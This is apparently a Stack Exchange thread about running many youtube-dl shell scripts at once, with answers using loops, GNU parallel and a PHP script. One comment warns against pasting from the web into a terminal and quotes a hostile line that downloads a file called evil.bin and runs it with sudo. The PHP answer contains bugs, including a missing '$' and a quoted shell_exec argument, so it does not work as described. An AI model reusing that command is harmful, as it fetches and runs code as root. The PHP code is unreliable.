7

I've got a directory with lots of .sh files in it, all of which, when run, open a terminal and begin a youtube-dl download. Since there are so many, I was hoping to find a way to activate them all at once, opening several different terminals immediately, as opposed to executing them all separately. I'm still very new to programming, so I'm not exactly sure how to do this and whether or not I could create a script to run them all, use a command, etc. Any help is appreciated, thanks.

  • Please note that you can pass many URLs to Youtube-dl and they will be downloaded sequentially. Or you could add all the commands one after the other. – Andrea Lazzarotto Apr 30 '17 at 17:25
  • 1
    You could use GNU parallel with ls | parallel. – eckes Apr 30 '17 at 20:31
  • Sometimes you could use a Makefile, to create files from recipes. make -j runs jobs in parallel. – jfs May 1 '17 at 0:36
10

While you can indeed run all .sh files in a directory with a for loop as suggested by Yaron, this is really an over complex approach to take. Don't write many scripts if the only difference between them is the RL they will download! And there's absolutely no reason to spawn a terminal window for each of them either!

Instead, write your YouTube URLs into a file, one per line:

http://youtube.com/foo
http://youtube.com/bar
http://youtube.com/baz

Then, to download them, use (file is the name of the file with the URLs):

while read url; do
    youtube-dl "$url"
done < file

That will download each video in the file, one after the other. If you want to download them all at the same time (not a good idea if you have too many), you can run each download command in the background by adding &:

while read url; do
    youtube-dl "$url" &
done < file
  • The reason I have them all in different .sh files is because I'm downloading by the channel and each channel downloaded goes into it's own directory with its own archive.txt file. The .sh file specifies where the downloads go and what to name the archive file etc. – Bencc Apr 30 '17 at 13:55
  • 5
    @Bencc all of which would be better done in a single script instead of many. I'm just saying you are making your life far more complicated than needed. You could always post a new question giving an example of one of your scripts and we could show you how to combine them into a single script. – terdon Apr 30 '17 at 14:28
  • 1
    Also, youtube-dl accepts several URLs as arguments so no loop is necessary. :) – Andrea Lazzarotto Apr 30 '17 at 17:26
  • 5
    Even better, youtube-dl can read URLs from a file: youtube-dl -a my-url-list.txt. Alternatively you can paste the URL list onto youtube-dl’s command line: xargs youtube-dl < my-url-list.txt. – David Foerster Apr 30 '17 at 19:16
  • Thanks for the advice, I'm going to make a new post and give an example of my script so I can combine them all like terdon suggested. – Bencc May 1 '17 at 15:35
2

Note, the files should be execute-able - you might want to execute the following command in the directory holding the .sh files before running the above script:

chmod +x *.sh

The following script will take all files ends with .sh and will execute them.

#/bin/bash
for shfile in *.sh
do
    ./$shfile
done

You can copy/paste the above lines (without the first line #/bin/bash) into your terminal, and it will do the trick (thanks @terdon for your comment).

You can save this script in other folder (e.g. /tmp/execute_all.sh, and make it execute-able using:

chmod +x /tmp/execute_all.sh

Then go into the directory with the .sh files and execute the script using:

/tmp/execute_all.sh

The script will try to execute all files which ends with .sh

  • 2
    There's no reason to use a script for this. Just copy/paste the for loop directly into a terminal. – terdon Apr 30 '17 at 13:27
  • @terdon - thanks for the comment! I agree that those 4 lines can be executed from the terminal. I assumed that it might be easier to run the command as a script, instead of copy-paste. – Yaron Apr 30 '17 at 14:00
  • 1
    @terdon It also might be useful to make sure that nobody ever copies and pastes from the internet directly into a terminal; it's really easy to add an invisible <span> or two into the code block and curl virus.txt>evil.bin;chmod +x evil.bin;sudo ./evil.bin onto the user's machine. – wizzwizz4 Apr 30 '17 at 16:27
  • @wizzwizz4 is that even possible in a code block though? HTML tags won't be rendered since code blocks are enclosed in <pre> tags. – terdon May 1 '17 at 13:39
  • @terdon It's not a technical possibility on Stack Exchange, but: it's general advice; any site can be cracked; it's even easier to mirror; many people are used to copying and pasting so wouldn't even think about doing it into a terminal; etc. – wizzwizz4 May 1 '17 at 16:43
0

If the program is web based i.e. for linux, Try making a php file to process the shell. and a shell file to handle the php..

For instance: runAllShell.php file can contain a loop.:

<?php
// Developed by A T.
// Count the files
$directory = '/put/directory/path_here/';
$files = glob($directory . '*.*');

if ( $files !== false )
{
    $filecounter = count( $files );

}
else
{
    echo "No Files were found";
}
$fileCount = $filecounter;

// Start the index
$fileNumber = 1;
while($fileNumber <= fileCount){
shell_exec('$fileNumber . ".sh"');
// get some feedback
echo "The ".$fileNumber." file has been excecuted";
// increment file number
$fileNumber++;

}
?>

make sure that all the .sh files in the directory are numerically ordered for this to work i.e: 1.sh 2.sh 3.sh and so on.

0

I have experienced that some video sites are not very stable, and that I have to retry the download several times. GNU Parallel can do that:

cat urls.txt | parallel --retries 50 --timeout 1000% --joblog +my.log youtube-dl

This will run one job per CPU core and try 50 times if the download fails. It will kill jobs that take 10 longer than the median run time (e.g. if the download is stuck). It will also append to the file my.log so you can see the status of each job.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.